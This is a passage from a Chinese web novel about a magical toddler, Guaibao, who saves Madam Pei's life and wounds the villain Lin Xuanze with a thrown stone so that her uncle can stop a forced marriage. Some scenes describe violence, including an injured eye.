有些事只是顾应决的猜测,至于是否属实,还需要验证,不过这毕竟是裴家的事,他也管不了。
顾应决摇了摇头,让下人扶着自己进府。
“好好在府上歇着,身子还没好,别瞎跑。”顾应决人刚到将军府大门口,又冷声道。
“四叔我们回去吧。”乖宝揉了一下鼻子,扯了扯顾寒舟的衣袖,仰头故作松弛的笑了笑,开口道。
经历了刚才的事情,顾寒舟哪里还有心思出去,整个人一副出神的状态,脑子也不知道在想些什么。
乖宝见他一直没有回应,仰头望着他挠了挠头,赶紧上前抓住他的手,拽着他往里面走。
走着走着,顾寒舟脸色有些发白,松开乖宝的手,捂着胸口的位置,迈着步子往院子里面走。
乖宝挠了挠后脑勺,不明白顾寒舟到底怎么了。
难道四叔是虫子还没有吐完?
“好了,别管他了,让他自己好好待会儿。”顾应决清了清嗓子开口道。
“嗯嗯,好叭。”
几日后,将军府的小花园里。
乖宝拿着小铲子,正在地里挖土,她问园丁要了桃树的树苗,想自己种桃树吃。
顾应决坐凉亭那,一边喝茶一边看书,还时不时看一眼,花丛里那个忙活的小身影。
乖宝哼哧哼哧,埋好小桃树,又从腰间拿出水袋,将水浇盖在桃树上面。
“四叔,你在干什么,乖宝的桃树苗都要被你踩**。”乖宝蹙眉,瞥了一眼身边没帮忙,反而帮倒忙的顾寒舟,赶紧道。
顾寒舟闻言,立刻回过神来,这才
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发现自己脚踩在乖宝的树苗上了。
“对不起呀乖宝,这树苗应该没死,你要不要种种看。”顾寒舟愧疚地抓起地上的树苗,树苗的枝条都折断了,还是那种立都立都立不起来的。
乖宝小手搭上他的肩膀,踮起脚尖,额头顶着顾寒舟的额头,“四叔,你到底怎么了?”
“是啊,四公子,您最近总是魂不守舍的。”边上的下人跟着道。
顾应柏笑着走了过来,“还能怎么了,有心事呗。”
“哦,我知道啦,是四婶吗?”乖宝睁大了眼睛,望着顾寒舟。
顾寒舟听到这两个字,就想到了裴昭那张脸,心不由梗了一下。
“不是,哪来的四婶。”顾寒舟起身,背着乖宝低喃了一句。
“乖宝,别理他,某个人心里惦记着人家姑娘,偏偏还不承认。”顾应柏走过来,俯下身抱起了乖宝,在乖宝软糯的小脸上蹭了蹭,瞥了一眼顾寒舟调笑道。
“嘿嘿,四叔要勇敢一点哦。”乖宝窝在顾应柏的怀里,小手捏成拳头,奶声奶气的开口。
“那又能怎样,我这三年从未出现在她面前,也并未真正关心过她,我又有什么资格?去插手她的选择。”顾寒舟说这话时,呼吸都有些沉痛。
他遗憾这三年,自己不曾出现在裴昭身边。
外头一名小厮,匆匆忙忙走了过来,开口道:
“少将军,方才林府的小厮特意过来请四公子,去林府吃喜酒。”
“嘿,这都上门挑衅来了。”顾应柏抽了抽嘴,眼里藏着怒意。
“不过说来也奇怪,他们就这么着急成亲吗?”顾应柏疑惑。
太傅是讲究人,绝不会这么仓促将女儿嫁给别人。
更何况是林玄泽这种,满手杀戮,不择手段的人。
裴太傅根本不可能答应让女儿嫁。
总感觉这里头有问题。
他话音刚落下,身边的人跟着阵风一样冲了出去。
“四叔,你去哪!”乖宝望着他的身影,瞪圆了眼睛,困惑道。
顾应决冲身侧的下人开口道:“让陈开带人去裴府。”
“好!太好了。”
“我就说我们将军府,没一个孬种。”
“走,咱们去看看。”顾应柏抱着乖宝,脸上带着看热闹的笑容,迈着步子往外走。
第六十五章 抢亲
此时的裴府,张灯结彩,大门口的地面上铺盖着长长的红绸。
大门的位置,只有几名小厮候着。
每个人的脸上都不带喜色,甚至还阴郁着脸,仿佛府里做的不是喜事,而是丧事。
裴大公子裴凌皱着眉头,一手置于背后,一手攥于胸前,神色局促慌张地在前厅来回踱步。
边上的裴太傅更是拉着一张青黑色的脸,端坐在黄梨木椅上,手紧紧按在扶柄上。
手背上的青筋一根根暴起,神色异常的凝重。
裴凌回头看向裴太傅,“爹,要不算了吧,林玄泽那个畜生,妹妹要是嫁了,这辈子就真的毁了。”
“儿子还特意,叫人查过,林玄泽府上一直有一名极其宠爱的小妾。”
“他这样如何能指望,他对妹妹好?”
裴太傅坐在椅子上,一直保持着沉默。
“公子,姥爷,夫人醒了,夫人说要见你们。”下人从外面走了进来,开口道。
裴太傅起身立刻往外走,裴凌也立刻跟了上去。
屋内,裴夫人躺靠在床榻边上,脸干瘪凹陷,白的跟纸一样,身形瘦弱如枯槁,眼神恍惚,虚弱到只能微微抬起手来。
“裴庆,你告诉我外面怎么回事?”裴夫人张了张嘴,吃力地开口道。
裴大人没有说话,只静静的握着裴夫人的手。
一个是他爱了,几十年的女人,一个是他从小捧在手心里的女儿。
任何一个都是他一辈子不能割舍的人。
这要叫他如何抉择。
“娘,您别问了。”边上的裴凌红着眼睛摇头。
“说,你们今日不说,我死,我也不能瞑目!”裴夫人虚弱的语气中带着强硬,枯瘦如柴的手,用力拍打着床沿。
“不说是吧,去把小姐给我叫过来。”
“别以为我病了,就当我聋了,就当我瞎了,府中什么情况我能感觉不到吗?”裴夫人说话的声音,都带着喘息道。
下人垂眸,一动不敢动。
“不让我见我女儿,好,我自己下去。”
说着她翻开了被褥,双腿踩在床踏上。
整个身子往前倾,人立刻就要翻下床了。
裴太傅立刻,将她扶住,“我还能骗你?如今你身子正虚弱,等好了再让昭儿过来。”
“我要见我女儿!”裴夫人根本不听他的,那双凹陷的眼睛瞪着裴太傅,神色露骨到仿佛就像看仇人一样。
裴夫人直接甩开了他的手,踉踉跄跄的往外走。
“去,去把你妹妹叫过来。”
裴太傅强忍着内心的情绪侧头看向边上的裴凌,咬着牙开口道。
裴凌离开没一会儿,房门被人推开。
裴昭穿着一身喜服,慌慌张**了进来。
“娘,您终于醒了。”
裴夫人望着她这一身妆容,埋怨地看向丈夫跟儿子。
“你们到底要瞒着我把昭儿嫁给谁?”
裴昭扶着裴夫人,哽咽道:“娘,这不关爹的事,是女儿自愿嫁的,女儿怕您身体弱,特意没跟您说。”
“你要嫁给谁?”裴夫人哆嗦着手,冷声问道。
跟前的裴昭一直不肯说话,侧头望着垂头的裴太傅,又看裴凌反问道:
“嫁人这么大事,为何不说?”
“她……她所嫁之人,是林府的林玄泽。”裴凌耐不住裴夫人冷眼,开口道。
裴夫人眼睛猩红,说出来的话仿佛用劲了全身力气,唇都在都抖动:“你们疯了?竟然将昭儿嫁给他。”
“娘,他手里有救您的药,如果昭儿不嫁,您就……”裴凌跪下道。
“他说的是真的?”裴夫人看向裴太傅。
之前陪太傅点了点头,一脸的难耐,心里泛着苦,他知道。这事根本就瞒不了妻子。
“好你个裴庆,这么大的事,你竟然到现在都还瞒着我。”
裴夫人抬手,给了裴太傅一巴掌,气得到浑身颤抖,眼角一黑晕了过去。
“夫人!”裴太傅立刻上前将人搂住。
“娘!”
裴昭赶紧伸手给裴夫人把脉,触碰到她那微弱的脉搏吓了一大跳,赶忙从衣袖中拿出银针。
“老爷,公子,林家那位姑爷来了,让你们赶紧出去,可别误了时辰。”外面的下人催促道。
屋子里的人,全都心系在裴夫人身上,根本没有人去管林玄泽。
“老爷,小姐,林公子说要是误了时辰,耽误了老夫人救治可得不偿失,还请老爷小姐三四。”边上的下人又道。
“让他给我滚!”裴太傅眼睛里闪烁着光,带着怒意,大声呵斥道。
“昭儿,你娘她……”
裴太傅紧紧捏住老妻的手腕,能明显感觉到她手在逐渐发凉。
“娘这是
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气血攻心,导致病情恶化。”裴昭捏在手里的银针有些颤抖,说话间声音带着哽咽道。
“昭儿救救你娘,一定要救救你娘。”裴太傅紧紧捏着裴昭的手,说话的声音发沉。
“我去找林玄泽,让他先把那株草药拿出来,说不定娘还有一线生机。”
她说完这话,立刻从地上起身,转身就往外走。
这是她救娘的唯一机会。
裴府后门的侧墙边上,男人身穿锦衣直接纵身一跃,手打在裴府后墙上,稍稍一用力,翻过了墙。
“大伯,四叔这是干嘛?”乖宝托着腮,窝在顾应柏怀里。
她满脸不解地望着那方空荡荡的墙,不明白四叔有门不进,非要爬墙干什么。
“乖宝呀,这……你以后可别学你四叔,他这样是不对的知道吗。”
顾应柏在她耳边轻声道。
“哦哦哦,那四叔为什么这样呢?”乖宝迷惑地睁大了眼睛。
“因为从正门走太慢了,你四叔是怕你四婶被人娶走了,咱们走正门哈。”顾应柏开口解释道。
这是事实,从裴府绕到正门去实在太费时间了。
“吱呀。”后门一小门从外面推开,一小厮正巧看到他们。
“二位是……”
“将军府顾应柏,我有事见裴太傅。”顾应柏说着抱着乖宝快步走了进去。
“哎……”小厮看他们火急火燎进去,连忙关上门跟了上去。
而另外一边。
裴昭刚踏出院子,迎面撞上一道高大的身影。
来人将裴昭给搂住,裴昭抬眸对上了那张熟悉的脸,心不由一紧,“顾寒舟你怎么来了?”
“若我不来,难道要眼睁睁看着你嫁给别人?”
顾寒舟脸上带着决绝道。
裴昭松开了顾寒舟的手,“可是我同林玄泽的婚事,早就已经定下……”
“我们早就没可能了。”
“昭儿,你同我说,你是不是有什么苦衷。”顾寒舟再次上前,搂住了裴昭,垂眸目光灼灼盯着她。
“你告诉,不论发生什么我都要跟你一起承担。”
裴昭红着眼睛挣扎,“你放开我,此事……”
“四叔!”乖宝的声音,突然从他们背后传来。
小团子软糯糯的小身板,快步冲向前去。
顾应柏想拉住她没能拉住,只能任由她过去。
第六十六章 乖宝说了吧,老婆婆没死,只是睡着了。
同一时间,裴凌从屋内出来,抬眸看向突然出现的顾寒舟,那双布满悲伤的眼神中,闪过了一丝诧异,“妹妹,娘醒了,有话同你说。”
“既然你们都来了,就一块进来吧。”
屋内。
顾寒舟走进屋内,望着床边的裴夫人,神色沉了沉,“老师,师娘!”
他撩跑在二人面前跪下,抬眸打量着夫妻二人。
三年不见,没曾想师娘竟病成这样,就连老师都苍老的如此之快。
“寒舟,你的病好了?”裴太傅眼中闪过一丝惊讶,甚至喜悦不过很快又化为忧伤。
顾寒舟点了点头。
“好了就行。”裴太傅扶起他,拍了拍他的肩膀。
床榻边上,裴夫人抬眸盯着裴昭,又看了一眼站在她身边的顾寒舟。
“寒舟,你总算是醒了,师娘为你感到高兴。”她嘴角挤出一抹笑容。
“师娘,如今命不久矣,想让你答应我一件事情。”
她冲顾寒舟伸了伸手。
顾寒舟过来,握住她的手,“师娘您说。”
裴夫人开口道:“昭儿跟你是我看着长大的,若她真要嫁人,师娘宁可将她托付给你。”
“昭儿,你若真的要为了娘,嫁给林玄泽那个畜生,娘宁可现在就死,你要真这么干了,娘就算死也不会瞑目。”
裴夫人又冲裴昭伸了伸手,裴昭上前将手递到裴夫人掌心内。
裴夫人惨白的唇瓣,勾出一抹淡淡的笑容,将二人的手放在了一起。
“只可惜,师娘没有没办法,看到你们二人成婚了。”
“你们儿时,我便觉得登对,如今也算是了了我一桩心事,交给寒舟我放心。”
“师娘!”顾寒舟半跪在地上。
裴昭也跟着跪在地上。
乖宝摸了摸自己腰间的水袋,不懂他们有病怎么不给老奶奶治病,就一直在哭。
“大伯,哭哭有用吗?”乖宝仰头疑惑地望着顾应柏。
顾应柏摇摇头,他也没想到,事情是这样,更没想到,裴夫人竟然病的这么重。
“那为什么他们还在哭呀。”
“让一让。”乖宝走到顾寒舟跟裴昭中间,从她们夹缝的位置挤了进去。
“老奶奶,你怎么啦,生病了吗?”乖宝轻柔地伸出胖乎乎软绵绵的小手,摸了摸裴夫人的额头。
“这……”裴凌上前要阻止她,这么关键的时刻,不能让这孩子扰了娘最后的清净。
他还没迈出步子,就被顾应柏给拉住。
“或许乖宝能救夫人。”顾应柏在他耳边,压低了声音道。
“这不可能吧……”裴凌猛然抬眸望着顾应柏,心中匪然。
“她一个三岁小孩,怎么可能。”
“我能跟你说谎,不然你以为我四弟的病怎么好的。”顾应柏睇了他一眼。
裴凌这人心眼实,跟他打小认识,太傅为官清正廉洁,他信得过他们。
乖宝想帮就帮吧。
裴凌蹙眉,心里带着疑惑,顾寒舟的病真是那孩子治好的?
顾应柏这厮总不能拿这事骗他。
打着死马当活马医的法子。
裴凌没在说话,只目光灼灼盯着床榻那边。
“小家伙,你叫什么名字呀?”裴夫人精神有些恍惚,盯着乖宝,莫名有种看到小仙童的错觉。
“老婆婆,我叫乖宝嗷。”
裴夫人记得府里没有孩子,却意外出现孩子,以为是天上来接自己的人,“乖宝,婆婆要走啦……你是来接婆婆的吗?”
乖宝不懂她在说什么,捏了捏腰间的水袋,拧开水递到裴夫人嘴边,“嘿嘿,你渴不渴,我给你水喝。”
裴太傅唇瓣抿成一条直线,他夫人临终前还未跟他说几句话。
这孩子……
“老师。”顾寒舟冲他摇了摇头。
裴太傅蹙眉,毕竟是亲传弟子的侄女,老妻又喜欢她,倒没有立刻叫人将乖宝带走。
裴夫人顺着她的手,喝了一口水,乖宝的手有些不稳,裴夫人的嘴,有点挣不太开。
水滴从她嘴角滑落,乖宝又立马抬眸看了一眼边上的裴太傅,“爷爷,你帮乖宝拿一下。”
她是个主动的宝宝,没等裴太傅开口就立刻将水袋塞人手里,又从衣袖中拿出手帕,替裴夫人擦了擦嘴角的水渍。
“还要继续给老婆婆喝水的。”她又抬眸看了裴太傅一眼,
裴太傅盯着她那双宝
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石一样晶莹的眼睛,不由自主地按照她所说,捏着水袋给老妻喂水。
“要多喝水哦,多多喝,老婆婆就舒服啦。”
乖宝趴在床边上,伸出自己的小手轻轻拍了拍裴夫人的胸口,就像她把床榻上的人当成了小孩一样。
“老婆婆,老婆婆……”
她的声音要宛如银铃一般悦耳,裴夫人那双微睁的眼睛,缓缓闭上,放在被子上的手,也在那一瞬间垂落下来。
“娘!”裴公子见状,脸色瞬间一变,泪水不自觉的落下,迈着步子就扑了过来。
“娘……”裴昭望着床榻上人,心彻底从高空坠落一般,痛得泪流满面。
裴太傅愣了愣,双手悬在半空中,过了几秒才回过神来,眼眶被泪水溢满。
悲痛欲绝地拉住了老妻的手,极度悲伤的哭出声。
仿佛是一只失去母狼的公狼。
乖宝趴在床榻边上,一双奇怪的眸光盯着他们,小眉头微微挑起来。
她抿了抿唇,“叔叔,你们干什么呀,婆婆只是睡着了,你们这样会吵到婆婆的。”
裴太傅根本没空管她,以为她童言无忌,不懂大人这是在干什么,也不懂大人眼中失去亲人后的悲伤和痛苦。
他紧紧捏着老妻的手腕,泪眼婆娑,却依稀感受到那传递至掌心的跳动。
还以为是自己的错觉。
然而事实是那清晰的脉搏,在持续告诉他这并非幻觉。
裴太傅瞬间一滞,眼眶挂着泪珠,快速起身,探了探裴夫人的颈脖。
他嘴微张,怔愣了一瞬才,挪着嘴激动地开口道:
“你们娘没死!”
这句话一出。
跪在地上的裴昭跟裴凌,恍然看向裴太傅。
“爹,刚才娘明明就断气了。”裴凌觉得他爹肯定是太伤心了,导致现在有些神志不清。
裴昭回过神来,盯了裴太傅一眼,又看向床榻上的裴夫人,从地上起身,摸上了裴夫人的脉搏。
“真的,娘,娘还活着。”裴昭睁大了眼睛,欣喜到泪水如雨滴般落下。
“乖宝说了吧,老婆婆只是睡着了。”边上的小奶团抱着双臂,深吸了一口气,有些无奈开口道。
第六十七章 碰上这小屁孩总会出岔子,心里不安。
众人朝着裴老太太看去,只见裴老太太胸口微微起伏,还真像睡了过去一样。
“娘,这是真睡着了?”裴凌含了含泪,半眯着眼睛。
“嗯,不仅如此,娘现在的病情,已经没再继续恶化了。”
裴昭把着裴夫人的脉搏,眉头紧皱,抬眸又看了一眼床榻边上的乖宝。
乖宝正用一双黑溜溜单纯的眼睛,盯着裴昭,像是在好奇对方看着自己在做什么。
“乖宝,是你用那水救了我娘?”裴昭抿了抿唇。
“不是这小家伙真的……”裴凌激动地瞪大了眼睛,直接从地上站了起来,目光灼灼盯着她就跟看稀罕物一样。
他又侧头看了顾应柏一眼,嘴巴一阵哆嗦,“真的是她救了顾寒舟啊!”
“神了,小家伙真是少将军的孩子嘛?”
“不会是哪个高人遗落的孩子,叫你们捡到了吧。”裴凌长这么大,还未见过如此离奇之事。
这事他也只在话本上见过。
乖宝缩了缩脖子,不懂他们又在一惊一炸说些什么。
她撅着小嘴,不说话而是盯了一眼床榻上的裴老太太,指了指裴太傅手里的水袋。
“喝水,给老婆婆喝水,病病才能好……”
她仰头望着裴太傅,小嘴咧着笑道。
裴太傅望着手中的水袋,神色深沉,手紧紧捏着水袋。
将军府一直都是京中世家,朝堂近期多次提起的热门话题,寒舟毕竟是他亲传弟子,他对将军府也多有关注。
对于顾应决死而复生的事情,还有顾夫人能站起来的事情,如今在加上顾寒舟疯症好了,这一件件的事情的蹊跷之事。
他都以为是偶然,没想到竟然是因这孩子。
要不是亲眼所见,他是断然不会信的。
“多谢。”裴太傅涕泗横流,抓着乖宝的手,低喃道。
若不是这孩子,他当真这辈子都要活在悔恨和愧疚之中。
这孩子不仅救了他老妻,更是给了他一个机会。
乖宝不懂他怎么突然望着自己哭了,仰头盯着裴太傅,揉了一下自己的鼻子,“老爷爷,你别哭呀。”
她赶紧从衣袖中掏出一块荷叶纹的手帕,踮起脚尖,替裴太傅擦了擦眼睛。
老爷爷哭哭的样子好可怜。
哎……
大人真的好奇怪。
乖宝不懂!
裴太傅伸手握住了乖宝的小手,挪了挪唇瓣,“我自己来。”
“嗯嗯,嘿嘿。”乖宝松开了手,仰头望着他。
“要开心才不会生病。”
她满脸的认真,双手揣在背后,像是在说教裴太傅似的。
“不要皱眉毛,老……老的快,老爷爷你好瘦,老婆婆也瘦,我祖母以前也很瘦,后来就不瘦了,然后就不容易生病了,多吃饭多喝水才能长肉肉……”
乖宝一个小孩操着大人的心,佝偻着身子,而后一只手假做端饭的样子,另一只手假装夹菜,吸着小嘴,生动形象的比划着。
身边的大人们全都望着她,在方才那高强度紧张的虚惊一场中,因为乖宝大家逐渐放松了心情。
裴太傅望着她点了点头,且十分认真地开口道:“我知道了,日后一定好好听小神医的话。”
乖宝闻言站直了小身子,仰头望着裴太傅,摇头:“我,我不是小神医,我叫乖宝。”
“好,我日后就叫你叫乖宝。”裴太傅一本正经的听劝道。
“这么多年来,还是第一次见别人教导我爹的。”裴凌盯着乖宝,染着笑意道。
顾应柏勾唇。
“林公子,您不能进去,夫人还在里面休息。”外面传来嘈杂的声音。
众人瞬间警惕起来。
“让他出去,别扰了夫人亲近。”裴太傅抬眸看向紧闭的门扇,指腹紧紧捏着手帕,擦了擦自己的眼角残留的泪水,冷声开口道。
“林公子,老爷都开口了您出去吧。”小厮在外面劝说道。
“砰!”房门被人从外面推开。
林玄泽身穿着喜服,扫了一眼屋子里的众人,嘴角的笑意都快咧到耳根了。
“都到齐了,正好也省得我再让人去将军府催。”
他上前一步,朝着裴太傅行了一礼,而后又给床榻上闭着眼睛的裴夫人行了一礼,“昭儿,还不快过来,时辰到了我们该启程了。”
“我爹娘那边已经等候多时了。”
顾寒舟紧紧捏住裴昭的手,说话的语气有几分冷冽:“昭儿不会嫁给你的,你自己滚吧!”
“顾寒舟,这是裴府,可不是
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你说了算。”林玄泽抬眸,背脊挺立,勾唇冷嘲道。
裴昭侧头跟顾寒舟对视了一眼,眼里带了几分坚定,反捏着顾寒舟的手。
“林玄泽,我不嫁了,你走吧。”
林玄泽让她这话给气笑了,抽了抽嘴唇,“裴昭,我给了你选择,现在的结果是你自己选的,怎么你打算反悔?”
“就算你不在乎,那裴太傅呢,裴凌呢,难道你们一个个当真一点都在意裴夫人的身体了。”他的目光看向裴太傅,裴太傅紧紧捏着手里的水袋,在听身边乖宝说话,似乎全完没把他当一回事一样。
而裴凌神色淡淡盯着他,完全不似一开始他来提亲时,那副恨不得杀了他的表情。
林玄泽蹙眉,心中生出一丝迟疑。
“林玄泽,你这卑鄙无耻的**!到了现在你还想用我师娘的病,威胁我老师。”顾寒舟上前一步,咬牙道。
“那又怎样,能救裴夫人那是我的本事,何况我提出来的要求,也是他们自己答应的。”林玄泽冷嗤道。
裴太傅开口道:“你走吧,昭儿不嫁了。”
“太傅一向言出必行,今日突然反悔,难不成是不打算救夫人了?”林玄泽心知,裴太傅疼爱女儿,一面是妻子一面是爱女,难以抉择也正常。
他拍了拍手,身后的下人走了进来,那人手里端着一个花瓶,花瓶上面正插着一朵紫色的花,一根枝条上好几个分叉串连着一个个小花骨朵,就跟一串葡萄一样。
“这草药我拿来了,只要昭儿跟我走,这药我便留在府中。”
乖宝仰头望着花瓶上面那支紫藤花,有些嫌弃的撇着小嘴,“这个花花又不好看。”
林玄泽听到她稚嫩的声音嘴角扬了扬,“你个小屁孩懂个屁!”
“略略略!你的花,还没有将军府里的花好看,你长得丑花也不好看,裴姐姐才不嫁给你,大坏蛋。”
乖宝躲在裴太傅身边,冲林玄泽做了个鬼脸,又吐了吐舌头。
“你这小孩这真教养,也不知道将军府怎么教的。”林玄泽气得剐了她一眼,不知道为什么,他心里莫名有些不安。
可能是之前的每一次,碰上这小屁孩总会出岔子,出的多了,每次遇见都有些心里发堵。
第六十八章 黑色的石头
“我们将军府就这么教孩子,你要是看不过眼那就滚蛋,你这么大个人也挺能耐,还有脸跟孩子置气。”顾应柏早就看林玄泽不顺眼了,逮着机会,怎能不骂一句。
“行了,别废话了赶紧出去吧,要不然裴家人给你撵出去,丢脸的就是你们林家。”
林玄泽见裴太傅跟裴昭并没有任何反应,难道他们找到了别的办法救裴夫人。
他又立刻打消了这想法,不可能世上除了这味药,根本不可能还有第二种办法。
除非裴夫人已经彻底没救了,连这药都不行了。
“无论如何,裴昭我定要娶回林家!”
他咬了咬后槽牙,上前抓住了裴昭另一只手,拽着人就往外走。
顾寒舟疾步抬掌,搭在他的手臂上,林玄泽有意识的伸手反抗,恍然发现不过几天过去,顾寒舟的内力竟然已经逐渐恢复,甚至还能跟他打的有来有回。
裴昭趁着林玄泽被顾寒舟牵制,立刻躲到了顾寒舟身后的位置。
“去,叫人过来!”裴凌神色肃穆,冲身边下人道。
“啪!”门让二人踹坏。
顾寒舟引着林玄泽到了庭院内。
林玄泽一开始跟顾寒舟打个平手,因顾寒舟多年未曾练武,终还是落了下风。
“砰!”顾寒舟被甩到树丛里,压垮了长得茂密的花草。
“今日顶多也就算我们两府的恩怨,裴府答应让裴昭嫁给我在先,就算你们今天反悔,我强娶谁又能说什么?”林玄泽轻笑,居高临下望着,被自己打的,满嘴是血的顾寒舟。
他入朝为官,巡城司有兵用,顾寒舟什么都没有,裴府乃文官,又能拿什么阻止。
只要人被他带走了,就算闹陛下那,陛下也无可奈何。
“哈哈哈,顾寒舟要怪就怪你现在实力太弱了。”
林玄泽盯着地上的顾寒舟,早知道就不跟他们废话了,还不如用拳头解决。
这小子真有能耐,才几天就恢复成这样了,再任由他发展下去,只怕他这几年的努力又要变成一场空了。
不行,得趁早解决了他这祸患!
顾寒舟咬紧牙关,想从地上爬起来,却又被林玄泽踩住胸口。
林玄泽脚底施压,顾寒舟想要爬起来,双手去掰林玄泽的脚,咬着牙脸都在用劲,却依旧纹丝不动。
边上裴府的家丁们扑了过来,让林玄泽压根没抬腿,动动手三两下就解决了。
“就裴家这些下人。”林玄泽轻笑,抬高了腿,汇聚力量。
乖宝盯着不远处的林玄泽皱眉,鼻息有些不稳,小脸也微微发红。
她捏了捏手里的玉佩,怎么办?四叔又被欺负了。
乖宝好气啊!
好想揍这个大坏蛋。
可是乖宝什么也做不了。
有了!
乖宝黝黑的瞳孔亮了亮,摸这玉佩闭上了眼睛,玉佩里的时间浮现在她脑袋中,她扫了一眼目光落在地面的石头上。
“石头石头……”她轻轻低喃。
乖宝手心,立刻多出来两块尖锐的石块,她迈着小腿,朝着顾寒舟的方向,快步冲了过去。
“乖宝!”顾应柏发现时,已经来不及拉她。
林玄泽腿上汇聚里内力,足够能震碎顾寒舟下腹的丹田。
他盯着顾寒舟勾了勾唇,腿用力往下踩。
“砰!”不知道什么东西,突然砸他眼睛上。
林玄泽压根来不及闪躲,整个人呈现抬脚的姿势,一阵剧烈的疼痛交汇在眼睛处,疼得他满头大汗,站都有些站不住。
他立刻捂住了眼睛,不由自主的哀嚎:“嘶~~啊!”
“大坏蛋,放开我四叔!”乖宝站他跟前,手里捏着一块黑色的石块,大声道。
“乖宝。”顾应柏冲过去把乖宝搂住,往后退。
“啊啊啊!”林玄泽疼痛之余,还感觉到了一丝莫名的恐惧,指腹摸到了眼中流出的液体,刺痛的那种眼睛视线逐渐模糊发黑。
他又气又疼,朝着乖宝扑了过去,“你到底对我做了什么,我的眼睛,我的眼睛!”
“你这死小孩,又是你,
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我要杀了你。”
顾应柏冲了过去,下意识地将乖宝护在了自己的怀里,死死抱着她不放。
然而他想象中的疼痛,并未出现,只听耳边一声巨响。
顾应柏抬眸,只见林玄泽瘫倒在地,顾寒舟不知什么时候站了起来,正喘着粗气,拧着拳头盯着地上的人,而后将林玄泽压在地上,一拳又一拳砸在林玄泽身上,他仿佛一头饿急了得也狼在啃咬猎物。
他一拳拳下去,手背都破皮了,却丝毫没有察觉。
“寒舟,够了,快停下来,他**对将军府没有好处。”顾应柏上前劝他。
顾寒舟就跟没听到一样,已然杀红了眼。
就在此时,不远处传来一阵脚步声。
“寒舟住手!”
顾应决被人推了进来,余光瞥了顾寒舟一眼,又立刻示意身后的人。
陈开上前,按住了顾寒舟的手臂,顾寒舟手臂不得动弹,抬眸看了陈开一眼,“放开!”
顾寒舟被陈开拽着从林玄泽身上下来。
陈开望着林玄泽眼睛上,插着的一块黑石头,神色怔了怔,这到底是什么东西,竟然能直接刺破林玄泽的眼睛。
边上乖宝挣脱顾应柏的手,小跑到顾寒舟面前。
“四叔,你不要打架了,刚才的样子好可怕。”她眼神有些畏惧。
顾寒舟顿了顿,眼中的戾气逐渐消散,“乖宝,对不起,四叔吓着你了。”
他接过顾应柏递的手帕,擦了擦满手的血,而后才将乖宝抱在怀里,小孩子软糯的身子,香香软软,顾寒舟脑袋埋她小肩膀上。
“四叔,就是太气了,以后不会了。”顾寒舟说话的声音,还带着一丝委屈。
林玄泽可以对他动手,但他千不该万不该,对乖宝动手。
“嗯嗯,乖。”乖宝小手摸摸他的脑袋。
“乖宝知道四叔不是有意的,都怪那个坏蛋太可恶。”
边上顾应柏疑惑地开口道:“对了,乖宝你刚才丢的是什么东西?怎么一下就给林玄泽眼睛戳瞎了。”
第六十九章 绝世珍宝
“你说这个嘛?”乖宝松开自己的掌心,露出里面那颗尖锐的石块,石头颜色很黑,就像一块铁似的。
顾寒舟兄弟二人盯着她手里的石头,正打量着。
顾应决余光扫了他们一眼,最后将目光落在躺地上的林玄泽脸上。
林玄泽此时已经被陈开扶了起来,脸被方才的顾寒舟打的全都是血,人此时完全晕死过去了。
“将他眼睛里的东西,给本将军拿出来。”顾应决盯着他那双被那块黑色尖锐之物洞穿的眼睛,冷声开口道。
陈开闻言,从腰间取出了一把**,示意身侧的下人按住了林玄泽,手起刀落。
“啊啊啊!”
男人鬼哭狼嚎般的哀嚎声,响彻了整个裴府。
乖宝还没听到声音,身边的顾应柏就伸手捂住了她的耳朵,她还探着脑袋想往那边看,边上的顾寒舟立刻挡在了她面前。
“四叔,坏蛋怎么了?”乖宝仰头好奇地望着顾寒舟。
“没什么,他就是太疼了。”顾寒舟背对着乖宝,目光盯着前面的林玄泽。
林玄泽眼睛里的锋利石头碎片已经被陈开挖了出来,那只受伤的眼睛瞬间喷涌出鲜红的血,昏迷过去的林玄泽生生被疼醒,面目狰狞地捂着还不断流着血的眼睛。
他此时就像痛到极点的人,嘴唇都白了,嘴里的牙都咬出血了,许是太疼,他又疼得晕**过去。
还是陈开掐他人中,才将林玄泽弄醒。
“让人把他丢回林府。”顾应决冷声开口道。
待人被抬了出去。
“爹爹……”
顾寒舟兄弟二人这才松开了乖宝,乖宝绕过他们小跑到顾应决跟前。
顾应决抬眸盯着跟前,笑露白齿,满头是汗的乖宝,伸手摸了摸她的小脸。
从衣袖里抽出了一方手帕,擦了擦她脸上的细汗。
她像是在跟顾应决邀功一般,扬声道:“爹,乖宝刚才打了坏蛋,没让坏蛋继续欺负四叔。”
“嗯,做的不错。”
顾应决不自觉地勾起了唇瓣,说话的声音比方才还要温柔一些。
“怕吗?”顾应决突然问了她一句。
乖宝满脸认真地望着孤影决开口道:“不怕,他欺负四叔,那就该打。”
她攥紧了自己的小拳头,咬着牙满脸气愤地开口道。
“乖宝答应过大伯还有祖母,好好保护四叔的。”她像个小大人一样,明明应该被保护的是她,但是在她嘴里,好像应该保护是他们这些大人。
顾应决对上她那双清澈到能看到自己的目光,脑海里浮现出方才小家伙,一脸严肃机警地朝着林玄泽丢石头的场景。
小家伙关键时刻她是真敢,也是真能下手。
这份勇气,这份魄力。
不错,越来越有他们将军府的风范了。
他不由地耐心开口道:
“日后遇到危险,要先考虑自己的安危,如果有机会逃跑就想先跑,不可莽撞,懂了吗?”
乖宝乖巧地点了点小脑袋,小脸上咧着笑容,“好!”
“去玩吧,爹还有事跟裴大人说。”顾应决一双眼睛静静盯着乖宝
“好的吧。”
乖宝转身往顾应柏那边跑,顾应决望着小家伙的小身影,嘴角的笑意这才压下去。
边上的小厮,忍不住的笑。
将军现在比起小小姐刚回府时,好多了。
这爹当的越来越自觉了,都能自称爹了。
“顾将军。”裴太傅走到了顾应决身前。
两人互相抱拳。
“今日之事多谢将军出手。”
顾应决摆手:“此事跟我四弟有关,我自是不能袖手旁观。”
“只是这事原也不必让将军府这般做法,如今那林玄泽伤了一只眼睛,林家绝不会放过将军府。”裴太傅担忧道。
林家那就是一条狗,被他们咬上不是什么好事。
“太傅放心,此事我已有了决断。”顾应决点头道。
裴太傅见他已有对策,心中的顾虑少了几分,也没再多说什么。
回府途中,顾应柏抱着乖宝询问道:“乖宝,你这石头从哪得来的?”
其他几人都竖起了耳朵听。
只听乖宝挠了挠耳朵,咧着小嘴笑道:“我在地里捡来的。
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”
又是地里捡来的?
顾应柏倒也没多想,乖宝身上本就有许多谜团,那泉水,还有那捡得价值连城的玉石,再捡到这样的石头应该也不难。
“在哪捡的?”顾寒舟问。
乖宝垂头,压着声音道:“就在地上随便捡的。”
